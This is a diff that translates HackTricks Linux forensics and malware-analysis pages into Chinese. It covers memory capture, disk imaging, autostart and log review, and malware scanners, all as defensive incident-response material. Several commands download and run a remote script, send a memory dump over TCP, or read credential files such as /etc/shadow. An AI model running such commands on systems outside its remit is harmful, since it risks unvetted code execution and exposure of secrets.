+在其他情况下,您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**,您可以直接 **复制目录** `/lib/modules/` 到您的机器,然后使用它们 **编译** LiME:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
+LiME 支持 3 种 **格式**:
-LiME supports 3 **formats**:
+- 原始(每个段连接在一起)
+- 填充(与原始相同,但右侧位用零填充)
+- Lime(推荐格式,带有元数据)
-- Raw (every segment concatenated together)
-- Padded (same as raw, but with zeroes in right bits)
-- Lime (recommended format with metadata
+LiME 还可以用于 **通过网络发送转储**,而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。
-LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444`
+### 磁盘成像
-### Disk Imaging
+#### 关机
-#### Shutting down
+首先,您需要 **关闭系统**。这并不总是一个选项,因为有时系统可能是公司无法承受关闭的生产服务器。\
+有 **2 种** 关闭系统的方法,**正常关机** 和 **“拔掉插头”关机**。第一种方法将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会带来 **一些信息丢失**(由于我们已经获取了内存的镜像,丢失的信息不会太多),并且 **恶意软件将没有机会** 采取任何行动。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。
-First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\
-There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug.
-
-#### Taking an image of the disk
-
-It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information.
+#### 获取磁盘镜像
+重要的是要注意,在 **将计算机连接到与案件相关的任何设备之前**,您需要确保它将以 **只读方式挂载**,以避免修改任何信息。
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -92,11 +77,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
+### 磁盘映像预分析
-### Disk Image pre-analysis
-
-Imaging a disk image with no more data.
-
+对没有更多数据的磁盘映像进行成像。
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -108,12 +91,12 @@ raw
#You can list supported types with
img_stat -i list
Supported image format types:
- raw (Single or split raw file (dd))
- aff (Advanced Forensic Format)
- afd (AFF Multiple File)
- afm (AFF with external metadata)
- afflib (All AFFLIB image formats (including beta ones))
- ewf (Expert Witness Format (EnCase))
+raw (Single or split raw file (dd))
+aff (Advanced Forensic Format)
+afd (AFF Multiple File)
+afm (AFF with external metadata)
+afflib (All AFFLIB image formats (including beta ones))
+ewf (Expert Witness Format (EnCase))
#Data of the image
fsstat -i raw -f ext4 disk.img
@@ -149,41 +132,31 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
+## 搜索已知恶意软件
-
+### 修改过的系统文件
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+Linux 提供了确保系统组件完整性的工具,这对于发现潜在问题文件至关重要。
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+- **基于 RedHat 的系统**:使用 `rpm -Va` 进行全面检查。
+- **基于 Debian 的系统**:使用 `dpkg --verify` 进行初步验证,然后使用 `debsums | grep -v "OK$"`(在使用 `apt-get install debsums` 安装 `debsums` 后)来识别任何问题。
-## Search for known Malware
+### 恶意软件/根套件检测器
-### Modified System Files
-
-Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files.
-
-- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check.
-- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues.
-
-### Malware/Rootkit Detectors
-
-Read the following page to learn about tools that can be useful to find malware:
+阅读以下页面以了解可以帮助查找恶意软件的工具:
{{#ref}}
malware-analysis.md
{{#endref}}
-## Search installed programs
+## 搜索已安装程序
-To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories.
+为了有效搜索 Debian 和 RedHat 系统上已安装的程序,可以考虑利用系统日志和数据库,同时在常见目录中进行手动检查。
-- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information.
-- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages.
-
-To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs.
+- 对于 Debian,检查 _**`/var/lib/dpkg/status`**_ 和 _**`/var/log/dpkg.log`**_ 以获取有关软件包安装的详细信息,使用 `grep` 过滤特定信息。
+- RedHat 用户可以使用 `rpm -qa --root=/mntpath/var/lib/rpm` 查询 RPM 数据库以列出已安装的软件包。
+要发现手动安装或在这些软件包管理器之外安装的软件,探索像 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_ 等目录。将目录列表与特定于系统的命令结合使用,以识别与已知软件包无关的可执行文件,从而增强您对所有已安装程序的搜索。
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep
```
+## 恢复已删除的运行二进制文件
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
-## Recover Deleted Running Binaries
-
-Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it
-
+想象一个从 /tmp/exec 执行并随后被删除的进程。可以提取它。
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
+## 检查自启动位置
-## Inspect Autostart locations
-
-### Scheduled Tasks
-
+### 计划任务
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
+### 服务
-### Services
+恶意软件可以作为服务安装的路径:
-Paths where a malware could be installed as a service:
+- **/etc/inittab**: 调用初始化脚本,如 rc.sysinit,进一步指向启动脚本。
+- **/etc/rc.d/** 和 **/etc/rc.boot/**: 包含服务启动的脚本,后者在较旧的 Linux 版本中找到。
+- **/etc/init.d/**: 在某些 Linux 版本中(如 Debian)用于存储启动脚本。
+- 服务也可以通过 **/etc/inetd.conf** 或 **/etc/xinetd/** 激活,具体取决于 Linux 变体。
+- **/etc/systemd/system**: 系统和服务管理器脚本的目录。
+- **/etc/systemd/system/multi-user.target.wants/**: 包含应在多用户运行级别启动的服务的链接。
+- **/usr/local/etc/rc.d/**: 用于自定义或第三方服务。
+- **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以是针对用户的恶意软件的隐藏地点。
+- **/lib/systemd/system/**: 安装包提供的系统范围的默认单元文件。
-- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts.
-- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions.
-- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts.
-- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant.
-- **/etc/systemd/system**: A directory for system and service manager scripts.
-- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel.
-- **/usr/local/etc/rc.d/**: For custom or third-party services.
-- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware.
-- **/lib/systemd/system/**: System-wide default unit files provided by installed packages.
+### 内核模块
-### Kernel Modules
+Linux 内核模块,通常被恶意软件作为 rootkit 组件使用,在系统启动时加载。与这些模块相关的关键目录和文件包括:
-Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include:
+- **/lib/modules/$(uname -r)**: 存放正在运行的内核版本的模块。
+- **/etc/modprobe.d**: 包含控制模块加载的配置文件。
+- **/etc/modprobe** 和 **/etc/modprobe.conf**: 全局模块设置的文件。
-- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version.
-- **/etc/modprobe.d**: Contains configuration files to control module loading.
-- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings.
+### 其他自动启动位置
-### Other Autostart Locations
+Linux 使用各种文件在用户登录时自动执行程序,可能隐藏恶意软件:
-Linux employs various files for automatically executing programs upon user login, potentially harboring malware:
+- **/etc/profile.d/**\*, **/etc/profile** 和 **/etc/bash.bashrc**: 针对任何用户登录执行。
+- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile** 和 **\~/.config/autostart**: 用户特定的文件,在他们登录时运行。
+- **/etc/rc.local**: 在所有系统服务启动后运行,标志着过渡到多用户环境的结束。
-- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login.
-- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login.
-- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment.
+## 检查日志
-## Examine Logs
+Linux 系统通过各种日志文件跟踪用户活动和系统事件。这些日志对于识别未经授权的访问、恶意软件感染和其他安全事件至关重要。关键日志文件包括:
-Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include:
-
-- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities.
-- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins.
- - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events.
-- **/var/log/boot.log**: Contains system startup messages.
-- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services.
-- **/var/log/kern.log**: Stores kernel messages, including errors and warnings.
-- **/var/log/dmesg**: Holds device driver messages.
-- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations.
-- **/var/log/cron**: Logs cron job executions.
-- **/var/log/daemon.log**: Tracks background service activities.
-- **/var/log/btmp**: Documents failed login attempts.
-- **/var/log/httpd/**: Contains Apache HTTPD error and access logs.
-- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities.
-- **/var/log/xferlog**: Records FTP file transfers.
-- **/var/log/**: Always check for unexpected logs here.
+- **/var/log/syslog** (Debian) 或 **/var/log/messages** (RedHat): 捕获系统范围的消息和活动。
+- **/var/log/auth.log** (Debian) 或 **/var/log/secure** (RedHat): 记录身份验证尝试、成功和失败的登录。
+- 使用 `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` 过滤相关的身份验证事件。
+- **/var/log/boot.log**: 包含系统启动消息。
+- **/var/log/maillog** 或 **/var/log/mail.log**: 记录邮件服务器活动,有助于跟踪与邮件相关的服务。
+- **/var/log/kern.log**: 存储内核消息,包括错误和警告。
+- **/var/log/dmesg**: 保存设备驱动程序消息。
+- **/var/log/faillog**: 记录失败的登录尝试,有助于安全漏洞调查。
+- **/var/log/cron**: 记录 cron 作业执行。
+- **/var/log/daemon.log**: 跟踪后台服务活动。
+- **/var/log/btmp**: 记录失败的登录尝试。
+- **/var/log/httpd/**: 包含 Apache HTTPD 错误和访问日志。
+- **/var/log/mysqld.log** 或 **/var/log/mysql.log**: 记录 MySQL 数据库活动。
+- **/var/log/xferlog**: 记录 FTP 文件传输。
+- **/var/log/**: 始终检查此处是否有意外日志。
> [!NOTE]
-> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering.
+> Linux 系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为 Linux 系统上的日志通常包含有关恶意活动的一些最有用的信息,入侵者经常删除它们。因此,在检查可用日志文件时,重要的是查找可能表明删除或篡改的间隙或无序条目。
-**Linux maintains a command history for each user**, stored in:
+**Linux 为每个用户维护命令历史**,存储在:
- \~/.bash_history
- \~/.zsh_history
@@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files.
- \~/.python_history
- \~/.\*\_history
-Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins.
+此外,`last -Faiwx` 命令提供用户登录的列表。检查是否有未知或意外的登录。
-Check files that can grant extra rprivileges:
+检查可以授予额外权限的文件:
-- Review `/etc/sudoers` for unanticipated user privileges that may have been granted.
-- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted.
-- Examine `/etc/groups` to identify any unusual group memberships or permissions.
-- Examine `/etc/passwd` to identify any unusual group memberships or permissions.
+- 审查 `/etc/sudoers` 以查找可能被授予的意外用户权限。
+- 审查 `/etc/sudoers.d/` 以查找可能被授予的意外用户权限。
+- 检查 `/etc/groups` 以识别任何异常的组成员资格或权限。
+- 检查 `/etc/passwd` 以识别任何异常的组成员资格或权限。
-Some apps alse generates its own logs:
+一些应用程序也会生成自己的日志:
-- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections.
-- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications.
-- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities.
-- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history.
-- **Open Office**: Check for recent document access that may indicate compromised files.
-- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized.
-- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities.
-- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed.
-- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories.
+- **SSH**: 检查 _\~/.ssh/authorized_keys_ 和 _\~/.ssh/known_hosts_ 以查找未经授权的远程连接。
+- **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序访问的最近文件。
+- **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史和下载,以查找可疑活动。
+- **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,例如访问的文件路径和搜索历史。
+- **Open Office**: 检查最近的文档访问,以指示可能被破坏的文件。
+- **FTP/SFTP**: 检查 _\~/.ftp_history_ 或 _\~/.sftp_history_ 中的日志,以查找可能未经授权的文件传输。
+- **MySQL**: 检查 _\~/.mysql_history_ 以调查执行的 MySQL 查询,可能揭示未经授权的数据库活动。
+- **Less**: 分析 _\~/.lesshst_ 以获取使用历史,包括查看的文件和执行的命令。
+- **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以查找对存储库的更改。
-### USB Logs
+### USB 日志
-[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables.
+[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯 Python 3 编写的小软件,它解析 Linux 日志文件(`/var/log/syslog*` 或 `/var/log/messages*`,具体取决于发行版),以构建 USB 事件历史表。
-It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list).
-
-### Installation
+了解**所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(使用不在该列表中的 USB),将更有用。
+### 安装
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
-
-### Examples
-
+### 示例
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
+更多示例和信息请查看 GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
-More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+## 审查用户账户和登录活动
-
+检查 _**/etc/passwd**_、_**/etc/shadow**_ 和 **安全日志**,寻找不寻常的名称或在已知未授权事件附近创建和使用的账户。同时,检查可能的 sudo 暴力攻击。\
+此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否有意外的权限授予给用户。\
+最后,查找 **没有密码** 或 **容易猜测** 的密码的账户。
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+## 检查文件系统
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+### 在恶意软件调查中分析文件系统结构
-## Review User Accounts and Logon Activities
+在调查恶意软件事件时,文件系统的结构是一个重要的信息来源,揭示事件的顺序和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。
-Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\
-Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\
-Finally, look for accounts with **no passwords** or **easily guessed** passwords.
-
-## Examine File System
-
-### Analyzing File System Structures in Malware Investigation
-
-When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage.
-
-To counter these anti-forensic methods, it's essential to:
-
-- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data.
-- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers.
-- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files.
-- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content.
-- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers.
-- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans.
-- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together.
-- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware.
+为了对抗这些反取证方法,至关重要的是:
+- **进行彻底的时间线分析**,使用像 **Autopsy** 这样的工具可视化事件时间线,或使用 **Sleuth Kit** 的 `mactime` 获取详细的时间线数据。
+- **调查系统 $PATH 中的意外脚本**,这些脚本可能包括攻击者使用的 shell 或 PHP 脚本。
+- **检查 `/dev` 中的非典型文件**,因为它通常包含特殊文件,但可能包含与恶意软件相关的文件。
+- **搜索隐藏的文件或目录**,名称可能像 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。
+- **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print` 这将找到具有提升权限的文件,可能被攻击者滥用。
+- **检查 inode 表中的删除时间戳**,以发现大规模文件删除,可能表明存在 rootkit 或木马。
+- **在识别到一个恶意文件后,检查连续的 inode**,因为它们可能被放置在一起。
+- **检查常见的二进制目录** (_/bin_、_/sbin_) 中最近修改的文件,因为这些可能被恶意软件更改。
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -381,58 +328,43 @@ ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````
-
> [!NOTE]
-> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**.
+> 请注意,**攻击者**可以**修改**时间以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它在与同一文件夹中其他文件**相同的时间**被创建和修改,但**inode**却**意外地更大**,那么该**文件的时间戳被修改**了。
-## Compare files of different filesystem versions
+## 比较不同文件系统版本的文件
-### Filesystem Version Comparison Summary
+### 文件系统版本比较摘要
-To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands:
-
-- **To find new files**, compare two directories:
+要比较文件系统版本并确定更改,我们使用简化的`git diff`命令:
+- **要查找新文件**,比较两个目录:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
-
-- **For modified content**, list changes while ignoring specific lines:
-
+- **对于修改过的内容**,列出更改,同时忽略特定行:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
-
-- **To detect deleted files**:
-
+- **检测已删除文件**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
+- **过滤选项** (`--diff-filter`) 有助于缩小到特定的更改,如添加的 (`A`)、删除的 (`D`) 或修改的 (`M`) 文件。
+- `A`: 添加的文件
+- `C`: 复制的文件
+- `D`: 删除的文件
+- `M`: 修改的文件
+- `R`: 重命名的文件
+- `T`: 类型更改(例如,从文件到符号链接)
+- `U`: 未合并的文件
+- `X`: 未知的文件
+- `B`: 损坏的文件
-- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files.
- - `A`: Added files
- - `C`: Copied files
- - `D`: Deleted files
- - `M`: Modified files
- - `R`: Renamed files
- - `T`: Type changes (e.g., file to symlink)
- - `U`: Unmerged files
- - `X`: Unknown files
- - `B`: Broken files
-
-## References
+## 参考文献
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+- **书籍:Linux系统的恶意软件取证实用指南:数字取证实用指南**
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md
index c7edd6650..426ebbb17 100644
--- a/src/forensics/basic-forensic-methodology/malware-analysis.md
+++ b/src/forensics/basic-forensic-methodology/malware-analysis.md
@@ -1,12 +1,12 @@
-# Malware Analysis
+# 恶意软件分析
{{#include ../../banners/hacktricks-training.md}}
-## Forensics CheatSheets
+## 取证备忘单
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
-## Online Services
+## 在线服务
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
- [HybridAnalysis](https://www.hybrid-analysis.com)
@@ -14,136 +14,119 @@
- [Intezer](https://analyze.intezer.com)
- [Any.Run](https://any.run/)
-## Offline Antivirus and Detection Tools
+## 离线杀毒和检测工具
### Yara
-#### Install
-
+#### 安装
```bash
sudo apt-get install -y yara
```
+#### 准备规则
-#### Prepare rules
-
-Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
-Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware.
-
+使用此脚本从github下载并合并所有yara恶意软件规则: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
+创建_**rules**_目录并执行它。这将创建一个名为_**malware_rules.yar**_的文件,其中包含所有恶意软件的yara规则。
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
-
-#### Scan
-
+#### 扫描
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
+#### YaraGen: 检查恶意软件并创建规则
-#### YaraGen: Check for malware and Create rules
-
-You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
-
+您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成 yara 规则。查看这些教程: [**第 1 部分**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**第 2 部分**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**第 3 部分**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
- python3 yarGen.py --update
- python3.exe yarGen.py --excludegood -m ../../mals/
+python3 yarGen.py --update
+python3.exe yarGen.py --excludegood -m ../../mals/
```
-
### ClamAV
-#### Install
-
+#### 安装
```
sudo apt-get install -y clamav
```
-
-#### Scan
-
+#### 扫描
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
-
### [Capa](https://github.com/mandiant/capa)
-**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as:
+**Capa** 检测可疑的 **能力** 在可执行文件中:PE, ELF, .NET。因此,它会找到诸如 Att\&ck 策略或可疑能力,例如:
-- check for OutputDebugString error
-- run as a service
-- create process
+- 检查 OutputDebugString 错误
+- 作为服务运行
+- 创建进程
-Get it int he [**Github repo**](https://github.com/mandiant/capa).
+在 [**Github repo**](https://github.com/mandiant/capa) 中获取它。
### IOCs
-IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\
-To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster.
+IOC 代表妥协指标。IOC 是一组 **条件,用于识别** 一些潜在的不需要的软件或确认的 **恶意软件**。蓝队使用这种定义来 **搜索这种恶意文件** 在他们的 **系统** 和 **网络** 中。\
+共享这些定义非常有用,因为当恶意软件在计算机中被识别并为该恶意软件创建 IOC 时,其他蓝队可以使用它更快地识别恶意软件。
-A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
-You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**.
+创建或修改 IOC 的工具是 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
+您可以使用 [**Redline**](https://www.fireeye.com/services/freeware/redline.html) 等工具来 **搜索设备中的定义 IOC**。
### Loki
-[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\
-Detection is based on four detection methods:
-
+[**Loki**](https://github.com/Neo23x0/Loki) 是一个简单妥协指标的扫描器。\
+检测基于四种检测方法:
```
1. File Name IOC
- Regex match on full file path/name
+Regex match on full file path/name
2. Yara Rule Check
- Yara signature matches on file data and process memory
+Yara signature matches on file data and process memory
3. Hash Check
- Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
+Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
- Compares process connection endpoints with C2 IOCs (new since version v.10)
+Compares process connection endpoints with C2 IOCs (new since version v.10)
```
-
